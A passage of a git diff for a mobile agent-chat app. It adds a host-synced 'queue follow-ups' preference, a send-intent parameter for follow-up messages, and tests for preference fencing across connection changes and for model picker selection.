controller.nativeChatBackgroundTasks }) @@ -192,6 +193,7 @@ export function MobileNativeChatOverlay({ agentWorking={controller.nativeChatTurnActive} awaitingInput={controller.nativeChatAwaitingInput} canStop={controller.nativeChatCanStop} + sendFollowUp={controller.nativeChatSendFollowUp} structuredActivityUi={controller.nativeChatStructured} turnIndicator={controller.nativeChatTurnIndicator} workingStartedAt={controller.nativeChatWorkingStartedAt} diff --git a/mobile/src/session/MobileNativeChatView.prompt-presentation.test.ts b/mobile/src/session/MobileNativeChatView.prompt-presentation.test.ts index 83c009efc9a..ce3ce1c75af 100644 --- a/mobile/src/session/MobileNativeChatView.prompt-presentation.test.ts +++ b/mobile/src/session/MobileNativeChatView.prompt-presentation.test.ts @@ -48,6 +48,8 @@ vi.mock('lucide-react-native', () => [ 'ArrowDown', 'ArrowUp', + 'ListEnd', + 'CornerDownRight', 'ChevronDown', 'ChevronUp', 'ChevronsDownUp', diff --git a/mobile/src/session/MobileNativeChatView.tsx b/mobile/src/session/MobileNativeChatView.tsx index c233344cdd3..1ae147fc458 100644 --- a/mobile/src/session/MobileNativeChatView.tsx +++ b/mobile/src/session/MobileNativeChatView.tsx @@ -49,6 +49,7 @@ import { MobileNativeChatFloatingControls } from './MobileNativeChatFloatingCont import type { PendingNativeChatImage } from './native-chat/composer/mobile-native-chat-image-attachment' import { MobileNativeChatDraftComposer, + type MobileNativeChatSendProps, type MobileNativeChatStructuredComposer } from './native-chat/composer/MobileNativeChatComposer' import { MobileNativeChatPromptCard } from './native-chat/input/MobileNativeChatPromptCard' @@ -71,7 +72,7 @@ export type MobileNativeChatInputLockReason = 'disconnected' | 'waiting' type Props = ComposerTrayProps & MobileNativeChatMicProps & ChatViewProps -type ChatViewProps = { +type ChatViewProps = MobileNativeChatSendProps & { // Keep raw messages to distinguish loading from a loaded transcript filtered to empty. messages: NativeChatMessage[] folded: NativeChatMessage[] @@ -98,7 +99,6 @@ type ChatViewProps = { hasMore?: boolean olderPages?: OlderPagePhase onLoadEarlier?: () => void - onSend: (text: string) => Promise // Fence send completion by route identity after tab/view switches. sendSurfaceId: string getSendCompletionGeneration: () => number @@ -154,6 +154,7 @@ export function MobileNativeChatView({ sessionLive, agentWorking, canStop = agentWorking, + sendFollowUp, awaitingInput = null, structuredActivityUi = false, turnIndicator = null, @@ -236,8 +237,8 @@ export function MobileNativeChatView({ const { jumpToTail, recordScrollMetrics, scrollMayLoadEarlier } = tail const handleSend = useCallback( - async (text: string): Promise => { - const accepted = await onSend(text) + async (...send: Parameters): Promise => { + const accepted = await onSend(...send) if (!accepted) { return false } @@ -400,7 +401,7 @@ export function MobileNativeChatView({ onChangeText={onComposerTextChange} onSend={handleSend} sendSurfaceId={sendSurfaceId} - {...{ getSendCompletionGeneration, getComposerEditGeneration, inputRef }} + {...{ getSendCompletionGeneration, getComposerEditGeneration, inputRef, sendFollowUp }} agent={agent} sessionOptions={sessionOptions} onAttachImage={onAttachImage} diff --git a/mobile/src/session/MobileQueuedMessageCardRow.tsx b/mobile/src/session/MobileQueuedMessageCardRow.tsx index ecb16450c49..4d63e0f37ee 100644 --- a/mobile/src/session/MobileQueuedMessageCardRow.tsx +++ b/mobile/src/session/MobileQueuedMessageCardRow.tsx @@ -27,6 +27,8 @@ type QueuedMessageCardRowProps = { busy: boolean editBlocked: boolean steerHeld: boolean + /** Steer only into a running turn; an idle agent's card reads Send. */ + agentWorking: boolean onSend: () => void onDelete: () => void onMore: () => void @@ -59,6 +61,7 @@ function QueuedMessageCardContents({ busy, editBlocked, steerHeld, + agentWorking, onSend, onDelete, onMore, @@ -68,7 +71,7 @@ function QueuedMessageCardContents({ const t = useMobileTranslation() const [expanded, setExpanded] = useState(false) const returned = card.state === 'returned' - const steers = queuedMessageCardSteers(card) + const steers = agentWorking && queuedMessageCardSteers(card) const count = card.images?.length ?? 0 return ( diff --git a/mobile/src/session/__mocks__/mobile-prompt-controller.ts b/mobile/src/session/__mocks__/mobile-prompt-controller.ts index 7e6e2b29d74..fa8411b112f 100644 --- a/mobile/src/session/__mocks__/mobile-prompt-controller.ts +++ b/mobile/src/session/__mocks__/mobile-prompt-controller.ts @@ -156,7 +156,7 @@ function Harness(props: HarnessProps) { controller: current, onOpenFile: vi.fn(), images: { - sendNativeChat: controller.handleNativeChatSend, + sendNativeChat: (text: string) => controller.handleNativeChatSend(text), attachments: [], isAttaching: false, attachImage: async () => {}, diff --git a/mobile/src/session/__mocks__/mobile-prompt-render-mocks.ts b/mobile/src/session/__mocks__/mobile-prompt-render-mocks.ts index 97da83855b9..58adb4bd7dd 100644 --- a/mobile/src/session/__mocks__/mobile-prompt-render-mocks.ts +++ b/mobile/src/session/__mocks__/mobile-prompt-render-mocks.ts @@ -40,6 +40,8 @@ vi.mock('lucide-react-native', () => [ 'ArrowDown', 'ArrowUp', + 'ListEnd', + 'CornerDownRight', 'ChevronDown', 'ChevronUp', 'ChevronsDownUp', diff --git a/mobile/src/session/mobile-closed-tab-dictation-lifetime.test.tsx b/mobile/src/session/mobile-closed-tab-dictation-lifetime.test.tsx index 4c48c57f399..bdae618c931 100644 --- a/mobile/src/session/mobile-closed-tab-dictation-lifetime.test.tsx +++ b/mobile/src/session/mobile-closed-tab-dictation-lifetime.test.tsx @@ -31,6 +31,8 @@ vi.mock('react-native', async () => { }) vi.mock('lucide-react-native', () => ({ ArrowUp: 'ArrowUp', + ListEnd: 'ListEnd', + CornerDownRight: 'CornerDownRight', Check: 'Check', ChevronDown: 'ChevronDown', ChevronLeft: 'ChevronLeft', diff --git a/mobile/src/session/mobile-file-search-owner-cleanup.test.tsx b/mobile/src/session/mobile-file-search-owner-cleanup.test.tsx index 04ad621a2a5..375670c10c7 100644 --- a/mobile/src/session/mobile-file-search-owner-cleanup.test.tsx +++ b/mobile/src/session/mobile-file-search-owner-cleanup.test.tsx @@ -24,6 +24,8 @@ vi.mock('react-native', async () => { }) vi.mock('lucide-react-native', () => ({ ArrowUp: 'ArrowUp', + ListEnd: 'ListEnd', + CornerDownRight: 'CornerDownRight', Check: 'Check', ChevronDown: 'ChevronDown', ChevronLeft: 'ChevronLeft', diff --git a/mobile/src/session/mobile-follow-up-preference.test.tsx b/mobile/src/session/mobile-follow-up-preference.test.tsx new file mode 100644 index 00000000000..11c8ffaa48c --- /dev/null +++ b/mobile/src/session/mobile-follow-up-preference.test.tsx @@ -0,0 +1,295 @@ +import { act, create, type ReactTestRenderer } from 'react-test-renderer' +import { afterEach, expect, it, vi } from 'vitest' +import { mobileNativeChatFollowUpPreference } from './mobile-native-chat-follow-up-preference' +import { useMobileNativeChatQueueFollowUps } from './use-mobile-native-chat-queue-follow-ups' +import { createStableLogicalRpcClient } from '../transport/stable-logical-rpc-client' +import { scopeRpcClientToExecutionHost } from '../transport/execution-host-scoped-rpc-client' +import type { RpcClient } from '../transport/rpc-client' +import type { ConnectionState, RpcResponse } from '../transport/types' + +function connection() { + let state: ConnectionState = 'connected' + let generation = 0 + const callbacks: ((event: unknown) => void)[] = [] + const states = new Set<(state: ConnectionState) => void>() + const stops = vi.fn() + const replies: ((reply: RpcResponse) => void)[] = [] + const failures: ((reason: Error) => void)[] = [] + const sendRequest = vi.fn( + () => + new Promise((resolve, reject) => { + replies.push(resolve) + failures.push(reject) + }) + ) + const client: RpcClient = { + sendRequest, + subscribe: vi.fn((_method, _params, callback) => { + callbacks.push(callback) + return stops + }), + onStateChange: (callback) => { + states.add(callback) + return () => { + states.delete(callback) + } + }, + getState: () => state, + getGeneration: () => generation, + getReconnectAttempt: () => 0, + getLastConnectedAt: () => null, + notifyForeground: () => {}, + close: () => {}, + updateTerminalSubscriptionViewport: () => {} + } + return { + client, + stops, + replies, + failures, + callbacks, + states, + emit: (event: unknown) => callbacks.at(-1)?.(event), + change: (next: ConnectionState, migrate = false) => { + state = next + if (migrate) { + generation++ + } + for (const callback of states) { + callback(state) + } + } + } +} +const reply = (queueFollowUps: boolean): RpcResponse => ({ + id: 'r', + ok: true, + result: { settings: { nativeChatQueueFollowUps: queueFollowUps } }, + _meta: { runtimeId: 'r' } +}) + +const renderers = new Set() +afterEach(() => { + act(() => { + for (const renderer of renderers) { + renderer.unmount() + } + }) + renderers.clear() +}) + +it('shares one live scalar per connection, fences late reads/events, and isolates real hook renders', async () => { + const a = connection(), + b = connection() + const renders = new Map() + const values = new Map() + function Chat({ id, client }: { id: string; client: RpcClient }) { + values.set(id, useMobileNativeChatQueueFollowUps(client, true, id)) + renders.set(id, (renders.get(id) ?? 0) + 1) + return null + } + let mounted: ReactTestRenderer | undefined + await act(async () => { + mounted = create( + <> + + + + + ) + renderers.add(mounted) + }) + await act(async () => {}) + expect(a.client.subscribe).toHaveBeenCalledTimes(1) + expect(b.client.subscribe).toHaveBeenCalledTimes(1) + const before = new Map(renders) + for (const count of [10, 100]) { + for (let index = 0; index < count; index++) { + await act(async () => a.emit({ type: 'workspaceViewChanged' })) + } + expect(renders).toEqual(before) + expect(a.client.sendRequest).toHaveBeenCalledTimes(1) + expect(a.client.subscribe).toHaveBeenCalledTimes(1) + } + await act(async () => + a.emit({ + type: 'ready', + subscriptionId: 'a', + snapshot: { nativeChatQueueFollowUps: true } + }) + ) + expect(values.get('a1')).toBe(true) + expect(values.get('a2')).toBe(true) + expect(values.get('b')).toBe(true) + expect(renders.get('b')).toBe(before.get('b')) + const after = new Map(renders) + await act(async () => a.emit({ type: 'ready', subscriptionId: 'old-no-projection' })) + await act(async () => a.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: true })) + expect(renders).toEqual(after) + await act(async () => a.replies[1]!(reply(false))) + expect(values.get('a1')).toBe(true) + await act(async () => a.replies[0]!(reply(false))) + expect(values.get('a1')).toBe(true) + const beforeOff = new Map(renders) + await act(async () => a.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false })) + expect(values.get('a1')).toBe(false) + expect(values.get('a2')).toBe(false) + expect(renders.get('a1')).toBe(beforeOff.get('a1')! + 1) + expect(renders.get('a2')).toBe(beforeOff.get('a2')! + 1) + expect(renders.get('b')).toBe(before.get('b')) + const oldEvent = a.callbacks[0]! + await act(async () => a.change('disconnected')) + await act(async () => a.change('connected')) + const beforeOn = new Map(renders) + await act(async () => + a.emit({ + type: 'ready', + subscriptionId: 'a2', + snapshot: { nativeChatQueueFollowUps: true } + }) + ) + expect(values.get('a1')).toBe(true) + expect(values.get('a2')).toBe(true) + expect(renders.get('a1')).toBe(beforeOn.get('a1')! + 1) + expect(renders.get('a2')).toBe(beforeOn.get('a2')! + 1) + expect(renders.get('b')).toBe(beforeOn.get('b')) + await act(async () => + oldEvent({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + expect(values.get('a1')).toBe(true) + const previousTransportEvent = a.callbacks.at(-1)! + await act(async () => a.change('connected', true)) + expect(values.get('a1')).toBe(true) + await act(async () => + previousTransportEvent({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + expect(values.get('a1')).toBe(true) + // Old host ready uses the existing read fallback; latest read wins. + await act(async () => a.emit({ type: 'ready', subscriptionId: 'old' })) + await act(async () => a.replies.at(-1)!(reply(true))) + expect(values.get('a1')).toBe(true) + await act(async () => a.replies[2]!(reply(false))) + expect(values.get('a1')).toBe(true) + await act(async () => mounted?.unmount()) + expect(a.states.size).toBe(0) + expect(b.states.size).toBe(0) + expect(a.stops).toHaveBeenCalledTimes(3) + expect(b.stops).toHaveBeenCalledTimes(1) +}) + +it('existing phone workspace event reader ignores additive preference snapshot and events', async () => { + const { startHostWorktreeRefresh } = await import('../worktree/host-worktree-refresh') + const host = connection() + const fetchWorktrees = vi.fn(async () => {}), + fetchRepoMetadata = vi.fn(async () => {}), + syncViewSettings = vi.fn(async () => {}) + const stop = startHostWorktreeRefresh({ + client: host.client, + fetchWorktrees, + fetchRepoMetadata, + syncViewSettings, + appState: { currentState: 'active', addEventListener: () => ({ remove: () => {} }) } + }) + const counts = [ + fetchWorktrees.mock.calls.length, + fetchRepoMetadata.mock.calls.length, + syncViewSettings.mock.calls.length + ] + host.emit({ + type: 'ready', + subscriptionId: 'old', + snapshot: { nativeChatQueueFollowUps: true } + }) + host.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + expect([ + fetchWorktrees.mock.calls.length, + fetchRepoMetadata.mock.calls.length, + syncViewSettings.mock.calls.length + ]).toEqual(counts) + stop() +}) + +it('keeps known OFF across real direct/relay migrations and failed reads, while scoped hosts start Queue', async () => { + const direct = connection(), + relay = connection(), + directAgain = connection() + const logical = createStableLogicalRpcClient(direct.client, 'lan') + const values = new Map() + function Chat({ id, client }: { id: string; client: RpcClient | null }) { + values.set(id, useMobileNativeChatQueueFollowUps(client, true, id)) + return null + } + let mounted!: ReactTestRenderer + await act(async () => { + mounted = create( + <> + + + + ) + renderers.add(mounted) + }) + expect(values.get('same')).toBe(true) + expect(values.get('unknown')).toBe(true) + await act(async () => + direct.emit({ + type: 'ready', + subscriptionId: 'd', + snapshot: { nativeChatQueueFollowUps: false } + }) + ) + await act(async () => direct.replies[0]!(reply(true))) + expect(values.get('same')).toBe(false) + await act(async () => logical.migrateTo(relay.client, 'relay')) + expect(values.get('same')).toBe(false) + await act(async () => relay.failures[0]!(new Error('read failed'))) + expect(values.get('same')).toBe(false) + await act(async () => + direct.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: true }) + ) + expect(values.get('same')).toBe(false) + // Ready ON also fences an older OFF read. + await act(async () => relay.emit({ type: 'ready', subscriptionId: 'legacy' })) + await act(async () => + relay.emit({ type: 'ready', subscriptionId: 'r', snapshot: { nativeChatQueueFollowUps: true } }) + ) + await act(async () => relay.replies.at(-1)!(reply(false))) + expect(values.get('same')).toBe(true) + await act(async () => + relay.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + await act(async () => logical.migrateTo(directAgain.client, 'lan')) + expect(values.get('same')).toBe(false) + await act(async () => directAgain.failures[0]!(new Error('read failed'))) + expect(values.get('same')).toBe(false) + const sameHostEvent = directAgain.callbacks.at(-1)! + const other = scopeRpcClientToExecutionHost(logical, 'runtime:other') + await act(async () => + mounted.update( + <> + + + + ) + ) + expect(values.get('other')).toBe(true) + expect(values.get('same')).toBe(false) + await act(async () => + directAgain.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + await act(async () => + sameHostEvent({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: true }) + ) + expect(values.get('same')).toBe(true) + expect(values.get('other')).toBe(false) + await act(async () => + sameHostEvent({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false }) + ) + await act(async () => mounted.unmount()) + // Late callbacks after last unsubscribe cannot replace the retained same-host value. + directAgain.emit({ type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: true }) + expect(mobileNativeChatFollowUpPreference(logical).getSnapshot()).toBe(false) + expect(directAgain.states.size).toBe(1) // Only the logical transport's own state listener remains. + logical.close() + expect(directAgain.states.size).toBe(0) +}) diff --git a/mobile/src/session/mobile-native-chat-controller-contract.ts b/mobile/src/session/mobile-native-chat-controller-contract.ts index 55d0bf227c1..23af8c7c534 100644 --- a/mobile/src/session/mobile-native-chat-controller-contract.ts +++ b/mobile/src/session/mobile-native-chat-controller-contract.ts @@ -1,4 +1,5 @@ import type { NativeChatSkillDiscoverySnapshot } from '../../../src/shared/native-chat/input/native-chat-picker-items' +import type { NativeChatSendFollowUp } from '../../../src/shared/native-chat-follow-up-behavior' import type { StructuredMobileSendAttachment } from './use-mobile-structured-send-with-outcome' import type { MobileSessionView } from '../storage/session-view-preferences' import type { Dispatch, MutableRefObject, SetStateAction } from 'react' @@ -13,7 +14,10 @@ import type { import type { NativeChatTurnJournal } from '../../../src/shared/native-chat-turn-membership' import type { NativeChatAwaitingInput } from '../../../src/shared/native-chat/native-chat-terminal-turn' import type { NativeChatResolvedPrompt } from '../../../src/shared/native-chat-resolution-receipt' -import type { MobileNativeChatSendOutcome } from './native-chat/mobile-native-chat-send' +import type { + MobileNativeChatSendIntent, + MobileNativeChatSendOutcome +} from './native-chat/mobile-native-chat-send' import type { MobileNativeChatCommandRefusalCauses } from './native-chat/use-mobile-native-chat-send-error' import type { MobileStructuredQueuedMessageControls } from './use-mobile-structured-queued-message-controls' import type { MobileStructuredBackgroundTasks } from './use-mobile-structured-background-tasks' @@ -54,6 +58,8 @@ export type MobileNativeChatController = { nativeChatActionablePromptIds: readonly string[] | undefined nativeChatCommandRefusalCauses: MobileNativeChatCommandRefusalCauses nativeChatCanStop: boolean + /** While the agent works on a host that queues: what a tap on Send does and whether holding it offers the other way; null otherwise. */ + nativeChatSendFollowUp: NativeChatSendFollowUp | null nativeChatStreamingText?: string nativeChatPermission: MobileChatPermission | null // A new prompt occurrence resets local card submission state only. @@ -97,7 +103,8 @@ export type MobileNativeChatController = { images?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - sentAt?: number + sentAt?: number, + intent?: MobileNativeChatSendIntent ) => Promise // Read parked TUI launch text to clear one line per Ctrl+U before pasting images. readSeededLaunchDraft: () => string | null diff --git a/mobile/src/session/mobile-native-chat-follow-up-preference.ts b/mobile/src/session/mobile-native-chat-follow-up-preference.ts new file mode 100644 index 00000000000..af701c73b3d --- /dev/null +++ b/mobile/src/session/mobile-native-chat-follow-up-preference.ts @@ -0,0 +1,111 @@ +import { nativeChatQueueFollowUpsRead } from '../transport/settings-read-operations' +import type { RpcClient } from '../transport/rpc-client' +import { nativeChatQueueFollowUps } from '../../../src/shared/native-chat-follow-up-behavior' + +const projections = new WeakMap() + +/** The connection owns one live host preference shared by every mounted chat. */ +export function mobileNativeChatFollowUpPreference( + client: RpcClient +): MobileNativeChatFollowUpPreference { + let projection = projections.get(client) + if (!projection) { + projection = new MobileNativeChatFollowUpPreference(client) + projections.set(client, projection) + } + return projection +} + +class MobileNativeChatFollowUpPreference { + private value = nativeChatQueueFollowUps(null) + private readonly listeners = new Set<() => void>() + private stopState?: () => void + private stopStream?: () => void + private readVersion = 0 + private connectionVersion = 0 + + constructor(private readonly client: RpcClient) {} + + getSnapshot = (): boolean => this.value + + subscribe = (listener: () => void): (() => void) => { + this.listeners.add(listener) + if (this.listeners.size === 1) { + this.stopState = this.client.onStateChange(() => this.connect()) + this.connect() + } + return () => { + this.listeners.delete(listener) + if (this.listeners.size === 0) { + this.connectionVersion += 1 + this.readVersion += 1 + this.stopStream?.() + this.stopStream = undefined + this.stopState?.() + this.stopState = undefined + } + } + } + + private publish(value: boolean): void { + if (value !== this.value) { + this.value = value + for (const listener of this.listeners) { + listener() + } + } + } + + private connect(): void { + const connectionVersion = ++this.connectionVersion + this.readVersion += 1 + this.stopStream?.() + this.stopStream = undefined + const generation = this.client.getGeneration?.() ?? 0 + if (this.client.getState() !== 'connected') { + return + } + const current = (): boolean => + connectionVersion === this.connectionVersion && + generation === (this.client.getGeneration?.() ?? 0) + const read = (): void => { + const version = ++this.readVersion + void nativeChatQueueFollowUpsRead + .request(this.client) + .then((response) => { + const preference = nativeChatQueueFollowUpsRead.interpret(response) + if (current() && version === this.readVersion && preference.accepted) { + this.publish(preference.value) + } + }) + .catch(() => { + // Keep this host's last answer until a ready snapshot repairs the gap. + }) + } + read() + this.stopStream = this.client.subscribe('runtime.clientEvents.subscribe', null, (payload) => { + if (!current() || !payload || typeof payload !== 'object') { + return + } + const event: { type?: unknown; queueFollowUps?: unknown; snapshot?: unknown } = payload + let queueFollowUps: unknown + if (event.type === 'nativeChatQueueFollowUpsChanged') { + queueFollowUps = event.queueFollowUps + } else if (event.type === 'ready') { + const snapshot = event.snapshot + if (snapshot && typeof snapshot === 'object' && 'nativeChatQueueFollowUps' in snapshot) { + queueFollowUps = snapshot.nativeChatQueueFollowUps + } else { + read() + return + } + } else { + return + } + if (typeof queueFollowUps === 'boolean') { + this.readVersion += 1 + this.publish(queueFollowUps) + } + }) + } +} diff --git a/mobile/src/session/mobile-queued-edit-hook.test-fixture.tsx b/mobile/src/session/mobile-queued-edit-hook.test-fixture.tsx index 6b60d180a6d..0443f893fa4 100644 --- a/mobile/src/session/mobile-queued-edit-hook.test-fixture.tsx +++ b/mobile/src/session/mobile-queued-edit-hook.test-fixture.tsx @@ -110,7 +110,9 @@ export function mobileQueuedEditHarness() { const client: RpcClient = { sendRequest, subscribe: (_method, _params, onData) => { - state.listener = onData + if (_method === 'agentSession.subscribe') { + state.listener = onData + } return () => {} }, updateTerminalSubscriptionViewport: () => {}, diff --git a/mobile/src/session/mobile-structured-agent-session-contract.ts b/mobile/src/session/mobile-structured-agent-session-contract.ts index 8be99e1f8ab..679f92f46d7 100644 --- a/mobile/src/session/mobile-structured-agent-session-contract.ts +++ b/mobile/src/session/mobile-structured-agent-session-contract.ts @@ -1,7 +1,11 @@ import type { AgentSessionSlashCommand } from '../../../src/shared/agent-session-wire' +import type { NativeChatSendFollowUp } from '../../../src/shared/native-chat-follow-up-behavior' import type { RpcClient } from '../transport/rpc-client' import type { StructuredAgentSessionHostSupport } from './mobile-structured-agent-session-host-support' -import type { MobileNativeChatSendOutcome } from './native-chat/mobile-native-chat-send' +import type { + MobileNativeChatSendIntent, + MobileNativeChatSendOutcome +} from './native-chat/mobile-native-chat-send' import type { MobileNativeChatVisualSource } from './native-chat/visual/mobile-native-chat-visual-read' import type { MobileChatPermission } from './native-chat/input/mobile-native-chat-permission' import type { MobileChatQuestion } from './native-chat/input/mobile-native-chat-question' @@ -26,6 +30,8 @@ export type StructuredMobileSession = ReturnType Promise cancel: () => void receipts: ReadonlyMap diff --git a/mobile/src/session/mobile-structured-agent-session-send.ts b/mobile/src/session/mobile-structured-agent-session-send.ts index 7e67badf812..11d886b7c93 100644 --- a/mobile/src/session/mobile-structured-agent-session-send.ts +++ b/mobile/src/session/mobile-structured-agent-session-send.ts @@ -27,7 +27,7 @@ export async function sendMobileStructuredAgentSessionMessage(input: { attachments: readonly StructuredAgentSessionAttachment[] /** Sent only when the host advertises `agent-session.send-skills.v1`. */ skills?: readonly AgentJournalSkillRef[] - /** Sent only when the host advertises `agent-session.queued-messages.v1`. */ + /** Sent only when the host advertises `agent-session.queued-messages.v2`. */ delivery?: 'queue-if-active' /** Sent only when the host advertises `agent-session.send-selection.v1`. */ selection?: Readonly> diff --git a/mobile/src/session/mobile-structured-agent-session-working.ts b/mobile/src/session/mobile-structured-agent-session-working.ts new file mode 100644 index 00000000000..9134f849ac5 --- /dev/null +++ b/mobile/src/session/mobile-structured-agent-session-working.ts @@ -0,0 +1,16 @@ +import type { StructuredAgentSessionState } from '../../../src/shared/structured-agent-session-reducer' +import { + runningStructuredAgentSessionTurnId, + structuredAgentSessionHostSaysWorking +} from '../../../src/shared/structured-agent-session-live-turn' +import { isStructuredAgentSessionMainAgentWorking } from '../../../src/shared/structured-agent-session-main-agent-working' + +export function mobileStructuredAgentSessionWorking(state: StructuredAgentSessionState): boolean { + return structuredAgentSessionHostSaysWorking(state.working, () => + isStructuredAgentSessionMainAgentWorking( + runningStructuredAgentSessionTurnId(state), + state.submissions, + state.fence + ) + ) +} diff --git a/mobile/src/session/mobile-structured-unknown-consumer.test.tsx b/mobile/src/session/mobile-structured-unknown-consumer.test.tsx new file mode 100644 index 00000000000..5b3f0ffbde1 --- /dev/null +++ b/mobile/src/session/mobile-structured-unknown-consumer.test.tsx @@ -0,0 +1,180 @@ +import { createElement, useState, type ReactNode } from 'react' +import { act, create, type ReactTestRenderer } from 'react-test-renderer' +import { expect, it, vi } from 'vitest' +import type { RpcClient } from '../transport/rpc-client' +import type { AgentSessionOptionsResult } from '../../../src/shared/agent-session-wire' +import { EMPTY_STRUCTURED_AGENT_SESSION } from '../../../src/shared/structured-agent-session-reducer' +import { useMobileStructuredAgentMutate } from './use-mobile-structured-agent-mutation' +import { fieldsOf } from './use-mobile-structured-agent-session-queued.test-fixture' +import { useMobileStructuredAgentOptions } from './use-mobile-structured-agent-options' +import { + MobileNativeChatSessionOptionPickers, + type MobileNativeChatPickerPresentation +} from './native-chat/input/MobileNativeChatSessionOptionPickers' +import { findAllByHostType } from '../test-support/react-test-renderer-host-nodes' + +vi.mock('react-native', () => ({ + AccessibilityInfo: { announceForAccessibilityWithOptions: vi.fn() }, + ActivityIndicator: 'ActivityIndicator', + Keyboard: { dismiss: vi.fn() }, + Platform: { OS: 'ios' }, + Pressable: 'Pressable', + Switch: 'Switch', + StyleSheet: { create: (styles: unknown) => styles, hairlineWidth: 1 }, + Text: 'Text', + View: 'View' +})) +vi.mock('../components/MobileSwitch', () => ({ MobileSwitch: 'Switch' })) +vi.mock('lucide-react-native', () => ({ + Check: 'Check', + ChevronDown: 'ChevronDown', + ChevronLeft: 'ChevronLeft', + ChevronRight: 'ChevronRight', + FilePenLine: 'FilePenLine', + Hand: 'Hand', + LockKeyhole: 'LockKeyhole', + ShieldAlert: 'ShieldAlert', + ShieldCheck: 'ShieldCheck', + X: 'X' +})) +vi.mock('../components/BottomDrawer', () => ({ + BottomDrawer: ({ visible, children }: { visible: boolean; children?: ReactNode }) => + visible ? createElement('BottomDrawer', null, children) : null +})) + +it('shows an unknown model without sending or remembering a guess, then applies a real row pick', async () => { + let answer: AgentSessionOptionsResult = { + models: [{ id: 'sonnet', label: 'Sonnet', isDefault: false, efforts: [] }], + current: {}, + conversationCommands: ['clear'] + } + const writes: unknown[] = [] + const sendRequest = vi.fn(async (method, params) => { + if (method === 'agentSession.setOption') { + expect(fieldsOf(params)).toMatchObject({ key: 'model', value: 'sonnet' }) + answer = { ...answer, current: { model: 'sonnet', confirmed: ['model'] } } + return { + id: 'rpc', + ok: true, + result: { + ok: true, + replayed: false, + value: { key: 'model', value: 'sonnet', options: { model: 'sonnet' } } + }, + _meta: { runtimeId: 'host-b' } + } + } + if (method === 'settings.mutateNativeChatSessionOptions') { + writes.push(params) + } + return { + id: 'rpc', + ok: true, + result: + method === 'agentSession.options' + ? answer + : method === 'agentSession.modelCatalog' + ? { origin: 'unknown' } + : {}, + _meta: { runtimeId: 'host-b' } + } + }) + const client: RpcClient = { + sendRequest, + subscribe: () => () => {}, + updateTerminalSubscriptionViewport: () => {}, + getState: () => 'connected', + getReconnectAttempt: () => 0, + getLastConnectedAt: () => null, + onStateChange: () => () => {}, + notifyForeground: () => {}, + close: () => {} + } + const stateRef = { current: { ...EMPTY_STRUCTURED_AGENT_SESSION, fence: 1 } } + let options!: ReturnType + function Chat() { + const mutate = useMobileStructuredAgentMutate({ + client, + sessionId: 'unknown-mobile', + enabled: true, + stateRef, + onSendError: (message) => { + throw new Error(message) + } + }) + options = useMobileStructuredAgentOptions({ + agent: 'claude', + client, + sessionId: 'unknown-mobile', + enabled: true, + fence: 1, + turnId: null, + mutate, + hostSupport: { + permissionModes: false, + coherentModelCatalog: true, + statusFeed: false, + sendOptions: true + } + }) + const [presentation, setPresentation] = useState( + null + ) + return createElement(MobileNativeChatSessionOptionPickers, { + controller: { + snapshot: options.optionSnapshot, + pendingId: options.pendingOptionId, + setOption: options.setStructuredOption, + invokeAction: options.invokeStructuredOption, + recordCommand: () => {} + }, + isWorking: false, + presentation, + onDrawerOpen: (page) => setPresentation({ page, refocus: false }), + onNavigate: (page) => setPresentation((previous) => previous && { ...previous, page }) + }) + } + let renderer!: ReactTestRenderer + await act(async () => { + renderer = create(createElement(Chat)) + }) + try { + await vi.waitFor(() => + expect(options.conversationCommands).toEqual(answer.conversationCommands) + ) + const pill = () => + renderer.root.find( + (node) => + String(node.type) === 'Pressable' && + String(node.props.accessibilityLabel).startsWith('Model,') + ) + expect(pill().props.accessibilityLabel).toBe('Model, Model') + expect(options.sendSelection()).toEqual({ options: undefined }) + expect(writes).toEqual([]) + expect( + sendRequest.mock.calls.filter(([method]) => method === 'agentSession.setOption') + ).toHaveLength(0) + await act(async () => pill().props.onPress()) + const row = renderer.root.find( + (node) => + String(node.type) === 'Pressable' && + node.props.accessibilityRole === 'radio' && + findAllByHostType(node, 'Text').some((text) => text.props.children === 'Sonnet') + ) + expect(row.props.accessibilityState.checked).toBe(false) + await act(async () => row.props.onPress()) + expect(options.sendSelection()).toEqual({ options: { model: 'sonnet' } }) + expect(pill().props.accessibilityLabel).toBe('Model, Sonnet') + await vi.waitFor(() => + expect(writes).toEqual([ + { + type: 'apply-picks', + agent: 'claude', + picks: [{ modelId: 'sonnet', optionId: 'model', value: 'sonnet' }] + } + ]) + ) + } finally { + await act(async () => renderer.unmount()) + } +}) diff --git a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.structured.test.ts b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.structured.test.ts index 3c0b8ef2522..86ac2415643 100644 --- a/mobile/src/session/native-chat/composer/MobileNativeChatComposer.structured.test.ts +++ b/mobile/src/session/native-chat/composer/MobileNativeChatComposer.structured.test.ts @@ -1,3 +1,4 @@ +import { activateMobileUiLocale } from '../../../i18n/mobile-i18n' import { useMobileNativeChatImageAttachments } from './use-mobile-native-chat-image-attachments' import { setMobileNativeChatDraftText, @@ -15,6 +16,8 @@ import { useMobileStructuredAgentSession } from '../../use-mobile-structured-age import { CAPABLE, SESSION_ID, + batchEvent, + queuedDraft, snapshotEvent, mutationOk, ok @@ -22,6 +25,8 @@ import { import { structuredSendResultFixture } from '../../structured-agent-send-result.test-fixture' import { findByHostType } from '../../../test-support/react-test-renderer-host-nodes' import type { RpcClient } from '../../../transport/rpc-client' +import { structuredAgentSessionHostSupport } from '../../mobile-structured-agent-session-host-support' +import { AGENT_SESSION_RUNTIME_CAPABILITIES } from '../../../../../src/shared/agent-session-runtime-capabilities' vi.mock('../../../components/MobileSwitch', () => ({ MobileSwitch: 'Switch' })) vi.mock('../../../platform/media-picker', () => ({ useMediaPicker: () => ({ 